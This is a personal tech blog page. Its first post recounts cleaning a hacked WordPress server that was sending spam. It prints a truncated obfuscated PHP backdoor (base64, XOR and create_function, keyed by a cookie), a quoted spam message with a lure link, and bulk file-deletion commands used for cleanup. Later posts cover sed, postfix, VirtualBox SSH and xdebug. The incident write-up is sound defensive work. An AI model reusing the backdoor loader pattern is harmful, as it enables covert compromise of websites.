WordPress Hacked To Send Spam Emails

My website has been under attack by spammer for a while, I am not sure when it started, but it has been a couple of months. Due to work and family, I have never got a chance to have a look for the cause and solution until now.

Basically what happened was that my postfix mail server kept sending tens of thousands of emails. And possibly due to this, my server has been blocked by Google and all those emails were rejected and got connect timeout to Gmail server, see below in the /var/log/syslog messages:

....
Jan  1 04:06:25 xx-xxx-xxx-xxx postfix/smtp[8201]: connect to mx.vgs.untd.com[64.136.52.37]:25: Connection timed out
Jan  1 04:06:25 xx-xxx-xxx-xxx postfix/smtp[8201]: BA77C42589: to=<randj152@netzero.com>, relay=none, delay=650, delays=589/0.08/61/0, dsn=4.4.1, status=deferred (connect to mx.vgs.untd.com[64.136.52.37
]:25: Connection timed out)
Jan  1 04:06:25 xx-xxx-xxx-xxx postfix/smtp[8202]: connect to mta7.am0.yahoodns.net[98.137.159.24]:25: Connection timed out
Jan  1 04:06:25 xx-xxx-xxx-xxx postfix/smtp[7735]: connect to mail20.voith.com[193.169.205.223]:25: Connection timed out
Jan  1 04:06:25 xx-xxx-xxx-xxx postfix/smtp[7735]: 12C75425D2: to=<gerald.franke@ditis.de>, relay=none, delay=449, delays=388/0/61/0, dsn=4.4.1, status=deferred (connect to mail20.voith.com[193.169.205.
223]:25: Connection timed out)
Jan  1 04:06:26 xx-xxx-xxx-xxx postfix/smtp[8200]: connect to smtpin01.mc.a.cloudfilter.net[52.204.45.50]:25: Connection timed out
Jan  1 04:06:26 xx-xxx-xxx-xxx postfix/smtp[8200]: A893942583: to=<garylmiller@mchsi.com>, relay=none, delay=650, delays=589/0.1/61/0, dsn=4.4.1, status=deferred (connect to smtpin01.mc.a.cloudfilter.ne
t[52.204.45.50]:25: Connection timed out)
Jan  1 04:06:26 xx-xxx-xxx-xxx postfix/smtp[8199]: connect to mx2.earthlink.net[209.86.93.227]:25: Connection timed out
Jan  1 04:06:27 xx-xxx-xxx-xxx postfix/smtp[8186]: connect to mail.thunderworx.net[217.27.32.193]:25: Connection timed out
Jan  1 04:06:27 xx-xxx-xxx-xxx postfix/smtp[8191]: connect to mx-b.ktk.de[82.115.96.243]:25: Connection timed out
Jan  1 04:06:27 xx-xxx-xxx-xxx postfix/smtp[8191]: D2322425C2: to=<carsten.leonhardt@rz-online.de>, relay=none, delay=451, delays=388/0.08/63/0, dsn=4.4.1, status=deferred (connect to mx-b.ktk.de[82.115
.96.243]:25: Connection timed out)
Jan  1 04:06:28 xx-xxx-xxx-xxx postfix/smtp[7767]: connect to cax.virusfree.cz[31.7.241.25]:25: Connection timed out
Jan  1 04:06:30 xx-xxx-xxx-xxx postfix/smtp[8198]: connect to rpi0i001.laposte.fr[178.213.67.9]:25: Connection timed out
Jan  1 04:06:35 xx-xxx-xxx-xxx postfix/smtp[8186]: C09304258C: to=<chrioannouresta@primehome.com>, relay=mail-mx100.thunderworx.net[217.27.32.90]:25, delay=660, delays=589/0.08/67/3.1, dsn=5.0.0, status
=bounced (host mail-mx100.thunderworx.net[217.27.32.90] said: 550-Verification failed for <jayden.w@blog.ericlin.me> 550-Called:   74.125.206.26 550-Sent:     RCPT TO:<jayden.w@blog.ericlin.me> 550-Respon
se: 550-5.1.1 The email account that you tried to reach does not exist. Please try 550-550-5.1.1 double-checking the recipient's email address for typos or 550-550-5.1.1 unnecessary spaces. Learn more at
550-550 5.1.1  https://support.google.com/mail/?p=NoSuchUser e193si20747180wmf.133 - gsmtp 550 Sender verify failed (in reply to RCPT TO command))
Jan  1 04:06:35 xx-xxx-xxx-xxx postfix/cleanup[8206]: C2889426F7: message-id=<20180101040635.C2889426F7@xx-xxx-xxx-xxx.ap-southeast-2.compute.internal>
Jan  1 04:06:35 xx-xxx-xxx-xxx postfix/bounce[8410]: C09304258C: sender non-delivery notification: C2889426F7
Jan  1 04:06:35 xx-xxx-xxx-xxx postfix/qmgr[4888]: C2889426F7: from=<>, size=5065, nrcpt=1 (queue active)
Jan  1 04:06:35 xx-xxx-xxx-xxx postfix/qmgr[4888]: C09304258C: removed
.......

I tried to search on Google and it turned out that my blog powered by WordPress was infected with malware and it keeps sending out emails. Google suggested that we can do a search based on function “base64_decode”, which is common function used by spammer’s scripts to do such jobs. So I did the search and it turned out that there were lots of such files under my WordPress installation directory:

ericlin@localhost: $ sudo grep -ri 'base64_decode' * | grep create_function
wp-admin/css/lfiendwt.php:	$_sxbiv = create_function ('$hyplio', sxbiv (base64_decode (
wp-admin/images/uczftagb.php:	$_ondxf = create_function ('$hkkcxn', ondxf (base64_decode (
wp-content/plugins/wp-connect/rbvphaub.php:	$_afchu = create_function ('$bbmmqr', afchu (base64_decode (
wp-content/plugins/googleanalytics/wrhnumao.php:	$_aparnlc = create_function ('$ezkeul', aparnlc (base64_decode (
wp-content/themes/alexandria/qkvejyid.php:	$_barsl = create_function ('$xwbnc', barsl (base64_decode (
wp-content/plugins/wp-connect/hzrttagh.php:	$_txkmjnd = create_function ('$rbeeug', txkmjnd (base64_decode (
wp-includes/rest-api/fields/aokjutfe.php:	$_barsl = create_function ('$xwbnc', barsl (base64_decode (
wp-includes/Requests/Exception/umbiwtox.php:	$_mrbqv = create_function ('$rdscfs', mrbqv (base64_decode (
wp-includes/SimplePie/HTTP/ljwvhrtn.php:	$_hapmrsb = create_function ('$qujqu', hapmrsb (base64_decode (
wp-includes/rest-api/blimaumt.php:	$_mrbqv = create_function ('$rdscfs', mrbqv (base64_decode (
wp-includes/Text/Diff/htzqhesw.php:	$_hapmrsb = create_function ('$qujqu', hapmrsb (base64_decode (
wp-includes/images/smilies/xraatxme.php:	$_sxbiv = create_function ('$hyplio', sxbiv (base64_decode (
wp-includes/Requests/Response/tlpeqczj.php:	$_mrbqv = create_function ('$rdscfs', mrbqv (base64_decode (
wp-includes/Requests/Cookie/dnwuvidm.php:	$_txkmjnd = create_function ('$rbeeug', txkmjnd (base64_decode (
wp-includes/SimplePie/Parse/rnylhylq.php:	$_dempkwj = create_function ('$dgeirfu', dempkwj (base64_decode (
wp-includes/SimplePie/XML/qmnfjezi.php:	$_esufzf = create_function ('$mcxgan', esufzf (base64_decode (
.......

The content of those files looks something like below:

<?php

        $majsvj =
                'cmQ9aXMtYXJyJzokb2RlIEVPJHZhJiYkXXswaWYoUkVBLlswSU5VZW5hQXJydWJsaXM'.
                'tcmV0aW9udCgkaHVuZW5zbiIpPmhlaG9zYXRjKCdTbXM7OGJpeVsxbGljYXJ0bGwsZW'.
                'QgJ3BjdW5kO2lmYW1lLDI1KCRhOV0pKCRwRXJyZywkPjpbcmlucmVwO31mLT52ZX19X'.
                'Xsxc2V7dGVjLT5EdGY4cm90MF0sPWV4Z2U7cGxhbWU9J1hPcigkbVJlYyAkdGlvKTsk'.
                'O31ycm4gLjAufWlmdGhpMSkkZ2ljTV9DdWJsb3N0Z25lWzBdcigpaWVucnJvNjF9fX1'.
                .......
                'pLG51JztwaW4sc2VsY29kPlxcMSkoaW5faXNwaztjb25ueV9waWMgbnVsaz0w';

        $_ondxf = create_function ('$hkkcxn', ondxf (base64_decode (
                'XUUCVBMZGBNODVpVTQdBTQFSSwdUBjldBFBcXAMZFRAfawhhfW4AVzc6BQByJiM0OXZ'.
                'qKzZwDVY1YgNyIW5gYX1iNXJxaldXJypmdHEkUQEsdk8zM2cOaDBlZl8CanNIfmFTen'.
                'h4ZXo2MF9eYzA2HSpxCVI0dyRBIHZlSwB+Y1RcdgtqZWFiZSwjU3B+ORkNKHZtOzdkN'.
                '2sFdkt6JWpeXFp2MXZ+fnFQNyVmf3gwBiQHdW0sIGBWVih0dmEzfFlLYnYIXHFjSGUs'.
                'NWJ3eCRRFgBifRY2elZjNntiVzBrZ3J+awt2aXhydjU2WHBlM1EzOXBQCQZzN04nZkR'.
                .......
                'xZcDF1UXFyZSo0XFlvMCQoAGZ6IzN0HmsidFRPMGtkcl1iUmJ8eEcHNTZYQnQwJzwsZ'.
                'lU4MGowTQJxAggyfGdqemdTS2N8ZVskJQRneSdQJClwbicHZFZeKHZEBVseHBQYFzx7'.
                'fHZ7eiNCb0JBEz4XBkNUAwFXTh5PFB8YQWYSFBgXPGt2a2Z2NDkTeWE1MTorfGs2RW9'.
                'PZEgaGg=='
        ), $_COOKIE [str_replace('.', '_', $_SERVER['HTTP_HOST'])]) . ';'); $_ondxf($hkkcxn);

        function ondxf ($fnjkaz, $gifntn) { return $fnjkaz ^ str_repeat ($gifntn, ceil (strlen ($fnjkaz) / strlen ($gifntn))); }

To fix the issue, I just needed to remove those files. I ran below command:

sudo grep -ri 'base64_decode' * | grep create_function | cut -d ":" -f 1 | xargs sudo rm -f

The file contents might be different, so it is best to scan through the files and check if there is any file with random names like the list I had above.

Once all the files are cleaned, I also needed to delete all the queues in the postfix so that the log files would not be kept flooded:

# Delete all queued mail
sudo postsuper -d ALL

# Delete differed mail queue messages - the ones the system intends to retry later
sudo postsuper -d ALL deferred

Then restart postfix server:

sudo service postfix restart

If for some reason the emails keep coming back, by using “mailq” to check:

mailq

-Queue ID-  --Size-- ----Arrival Time---- -Sender/Recipient-------
5C98D675BB*    1659 Mon Nov  6 02:31:30  info@arbeitsagentur.de
                                         cathrine.huth@t-online.de

401A1665FD*    1659 Wed Nov  8 03:01:37  info@arbeitsagentur.de
                                         horstauerbach@aol.com

702DD66A51*    1709 Tue Nov  7 01:56:54  jobs@arbeitsagentur.de
                                         d.ahmadyassin@yahoo.com

You will need to check the details of each email and see where is the source of the script that created the email:

postcat -vq 5C98D675BB

The output looks like below:

*** ENVELOPE RECORDS deferred/8/8FD2542696 ***
message_size:            1816             203               1               0            1816               0
message_arrival_time: Mon Jan  1 04:03:49 2018
create_time: Mon Jan  1 04:03:49 2018
named_attribute: rewrite_context=local
sender_fullname: www-data
sender: corazana.a@blog.ericlin.me
*** MESSAGE CONTENTS deferred/8/8FD2542696 ***
regular_text: Received: by xx-xxx-xxx-xxx.ap-southeast-2.compute.internal (Postfix, from userid 33)
regular_text:   id 8FD2542696; Mon,  1 Jan 2018 04:03:49 +0000 (UTC)
regular_text: To: jmprevenga@telefonica.net
regular_text: Subject: =?utf-8?Q?Quieres_pasar_la_Navidad_en_compa=C3=B1=C3=ADa_de_la_morena=3F?=
regular_text: X-PHP-Originating-Script: 33:rooguols.php(1189) : runtime-created function(1) : eval()'d code(1) : eval()'d code
regular_text: Date: Mon, 1 Jan 2018 04:03:49 +0000
regular_text: From: "Corazana A." <corazana.a@blog.ericlin.me>
regular_text: Message-ID: <f5cf2b20105dcc13231bd56f3d95f21e@blog.ericlin.me>
regular_text: X-Mailer: PHPMailer 5.2.23 (https://github.com/PHPMailer/PHPMailer)
regular_text: MIME-Version: 1.0
regular_text: Content-Type: multipart/alternative;
regular_text:   boundary="b1_f5cf2b20105dcc13231bd56f3d95f21e"
regular_text: Content-Transfer-Encoding: 8bit
regular_text:
regular_text: This is a multi-part message in MIME format.
regular_text:
regular_text: --b1_f5cf2b20105dcc13231bd56f3d95f21e
regular_text: Content-Type: text/plain; charset=utf-8
regular_text: Content-Transfer-Encoding: 8bit
regular_text:
regular_text: Conoceré con el chico para sexo.
regular_text:
regular_text: Está dispuesta a formar la compañía para la Navidad!
regular_text:
regular_text: Garantizo el sexo loco, me encanta hacer la mamada.
regular_text:
regular_text: { http://wayfordailylife.com/happen.php?utm_source=6900l7jut1&utm_medium=408exztblt&utm_campaign=gqb6rn8318&utm_term=9oign62f71&utm_content=yhlzo7pqn1 } Mi formulario está sólo aquí!
regular_text:
regular_text:
regular_text: --b1_f5cf2b20105dcc13231bd56f3d95f21e
regular_text: Content-Type: text/html; charset=utf-8
regular_text: Content-Transfer-Encoding: 8bit
regular_text:
regular_text: <html>
regular_text: <body>
regular_text: Conoceré con el chico para sexo.<br>
regular_text: <br>
regular_text: Está dispuesta a formar la compañía para la Navidad!<br>
regular_text: <br>
regular_text: Garantizo el sexo loco, me encanta hacer la mamada.<br>
regular_text: <br>
regular_text: <a href="http://wayfordailylife.com/happen.php?utm_source=6900l7jut1&utm_medium=408exztblt&utm_campaign=gqb6rn8318&utm_term=9oign62f71&utm_content=yhlzo7pqn1">Mi formulario está sólo aquí!</a><br>
regular_text: </body>
regular_text: </html>
regular_text:
regular_text:
regular_text:
regular_text: --b1_f5cf2b20105dcc13231bd56f3d95f21e--
regular_text:
*** HEADER EXTRACTED deferred/8/8FD2542696 ***
named_attribute: encoding=8bit
named_attribute: dsn_orig_rcpt=rfc822;jmprevenga@telefonica.net
original_recipient: jmprevenga@telefonica.net
recipient: jmprevenga@telefonica.net
*** MESSAGE FILE END deferred/8/8FD2542696 ***

Look for the following line:

regular_text: X-PHP-Originating-Script: 33:rooguols.php(1189) : runtime-created function(1) : eval()'d code(1) : eval()'d code

You can see that the email was generated by script rooguols.php. Search for this file in the WordPress directory and remove it. Repeat the process until all files are identified.

Watch the output of “mailq” to make sure that no emails will be generated again.

Hopefully this will also help with anyone who has the same issue as mine on WordPress blog server.

Extract Lines Between Two Patterns From A File

Yesterday, I was trying to restore one of my old blog sites that was written in Chinese, so that I can continue blogging. I had MySQL database backed up in a dumped SQL file, however, I noticed that I dumped all databases into one file, which stopped me from loading the full dump file into MySQL as there are other databases that I can’t just load them in, like “mysql” system database.

So my goal is simple, to extract this particular database out from the dump file.

Method 1:

Examining the dump file, I can see that they can be separated by the following lines:

-- Current Database: `db1`
-- Current Database: `db2`
-- Current Database: `db3`
-- Current Database: `db4`
-- Current Database: `db5`
-- Current Database: `db6`
....

Thanks to this thread on StackOverflow, the solution is simple, just run below command to extract all lines between “Current Database: `db4`” and “Current Database: `db5`“:

sed '/Current Database: `db4`/,/Current Database: `db5`/!d' dump.sql > db4.sql

What above command does is to search for lines “Current Database: `db4`” and “Current Database: `db5`“, and delete everything that is NOT between those two lines (!d means not matching then delete, “,” means between the lines).

Method 2

Firstly grep the pattern and print out the line numbers:

ubuntu@localhost:~/chenhui$ grep -n 'Current Database' dump.sql
19: -- Current Database: `db1`
382: -- Current Database: `db2`
744: -- Current Database: `db3`
1137: -- Current Database: `db4`
3401: -- Current Database: `db5`
5604: -- Current Database: `db6`
....

Then, use those line number to capture all lines in between:

sed -n 1137,3401p dump.sql > db4.sql

More information can be found from this blog post.

Hope above helps!!

Unable to send email from host machine to custom email address

I have my own personalised email address which is powered by Google Apps: ericlin at ericlin dot me. I have been receiving emails fine for many years without issues. However, since I setup my own blog server a few year ago, I had never be able to receive any email sent from my host machine via postfix.

I have tried many tests:

– email from cron job
– email from command line using “sendmail”
– email from wordpress

None of them were working. However, if I use normal gmail or ymail address, they all reached destination without issues.

The following were what was logged on my server under /var/log/syslog:

Jun 10 02:45:04 ericlin postfix/cleanup[12369]: 2601D43AC3: message-id=<0f5e23cef7e94f466eed4183e17476b0@www.ericlin.me>
Jun 10 02:45:04 ericlin postfix/qmgr[30415]: 2601D43AC3: from=<www-data@ericlin.me>, size=701, nrcpt=1 (queue active)
Jun 10 02:45:04 ericlin postfix/local[12375]: 2601D43AC3: to=<ericlin at ericlin dot me>, relay=local, delay=0.01, delays=0.01/0/0/0, dsn=2.0.0, status=sent (delivered to mailbox)
Jun 10 02:45:04 ericlin postfix/qmgr[30415]: 2601D43AC3: removed

the logs for working email was following:

Jun 10 03:09:07 ericlin postfix/cleanup[12672]: DED8843AC4: message-id=<ed4e377a0fd860e76a4853ae3063452b@www.ericlin.me>
Jun 10 03:09:07 ericlin postfix/qmgr[12614]: DED8843AC4: from=<www-data@ericlin.me>, size=5170, nrcpt=1 (queue active)
Jun 10 03:09:08 ericlin postfix/smtp[12674]: DED8843AC4: to=<someemail@gmail.com>, relay=smtp.gmail.com[74.125.29.109]:587, delay=0.74, delays=0.02/0.01/0.2/0.51, dsn=2.0.0, status=sent (250 2.0.0 OK 1465528180 18sm2559005qkd.30 - gsmtp)
Jun 10 03:09:08 ericlin postfix/qmgr[12614]: DED8843AC4: removed

You can see the differences between the two logs were the final message after status=sent, successful one was (250 2.0.0 OK 1465528180 18sm2559005qkd.30 – gsmtp), however, failed one was (delivered to mailbox)

I had been searching for a solution for a long time, but never be able to find a fix.

Today I spent another few hours trying to dig out if I can find anything, finally it is fixed.

The problem is the following line in the postfix’s configuration file /etc/postfix/main.cf, there is a line like below

mydestination = ericlin.me, ip-172-31-50-123.ec2.internal, localhost.ec2.internal, localhost

The problem is that I added my own domain (ericlin.me) to the list, which was wrong. After removing it, issue resolved!! ^_^.

I hope this can help someone with similar problems.

How to SSH into Centos in VirtualBox

Today I created a CentOS virtual machine in VirtualBox on my Mac for testing Hadoop purpose, however, I was not able to SSH into the newly created virtual machine, and SSH command returned timeout error:

$ ssh root@10.0.2.15
ssh: connect to host 10.0.2.15 port 22: Operation timed out

The output of “ip addr show” in the CentOS:

centos-ip-address

To fix the issue, I did the following:

1. Go to Devices > Network > Network Settings
2. Click on “Port Forwarding”
3. Then enter the details similar as below:

virtualbox-network-settings

I did not need to restart the VM, and I just ran the following SSH command from host, and issue resolved:

$ ssh -p 2222 root@127.0.0.1
The authenticity of host '[127.0.0.1]:2222 ([127.0.0.1]:2222)' can't be established.
ECDSA key fingerprint is SHA256:QWANQHt0hrV+l98si9RT1u5r0H9Q6A/GCe5jR+MQbHs.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[127.0.0.1]:2222' (ECDSA) to the list of known hosts.
root@127.0.0.1's password:
Last failed login: Wed May 25 15:26:45 AEST 2016 from 10.0.2.2 on ssh:notty
There was 1 failed login attempt since the last successful login.
Last login: Wed May 25 15:22:16 2016 from localhost

Debugging PHP-App Hosted in VirturalBox CentOS VM Using Netbeans

Setting up debugging locally on one machine (both Netbeans and xdebug on the same host) is easy enough. However, if you want to connect Netbeans to a xdebug over to a guest virtual machine, it will require a bit of work, but not hard.

My host machine is Windows 7 and running a CentOS virtual machine inside VirtualBox. The following was what I did to get it running.

Firstly I installed C and C++ compilers, which comes in the “Development Tools”

$ sudo yum groupinstall 'Development Tools'

then I installed php-devel which would give me phpize (which is required by pecl when installing xdebug)

$ sudo yum install php-devel

Now I was ready to install xdebug:

$ sudo pecl install xdebug

Once that was done, I updated php.ini file to enable xdebug. Find the xdebug section in php.ini file, if no, create one section for it under /etc/php.ini

[debug]

zend_extension=/usr/lib64/php/modules/xdebug.so

xdebug.remote_enable  = On
xdebug.remote_host    = 10.0.2.15
xdebug.remote_port    = 9000
xdebug.remote_handler = dbgp
xdebug.remote_mode    = req

xdebug.remote_connect_back = On
xdebug.idekey = "netbeans-xdebug"
xdebug.remote_log = /tmp/xdebug.log

You will need to find the path to xdebug.so file by running:

find / -name xdebug.so

Yours might be different from mine.

Now I was ready to enable xdebug in Netbeans, which was running on the host machine (Windows 7 in my case). Under Tools > Options > PHP > Debugging:

Debugger Port: 9000
Session ID: netbeans-xdebug

Under Project Properties (right click on project root in the Project window) > Run Configuration:

Run as: Local Web Site (running on local web server)
Project URL: http://localhost:8080/ Index file: index.php

(I have setup port forwarding from 8080 on my localhost to port 80 on my virtual machine)

Under Project Properties > Run Configuration > Advanced

Debug URL: Default: http://localhost:8080/index.php
Path Mapping:
Server Path: /path/to/project/in/guest
Project Path: /path/to/project/in/host/

That’s it, now I am able to start setting break points and press Ctrl + F5 to start debugging in Netbeans over the virtual machine.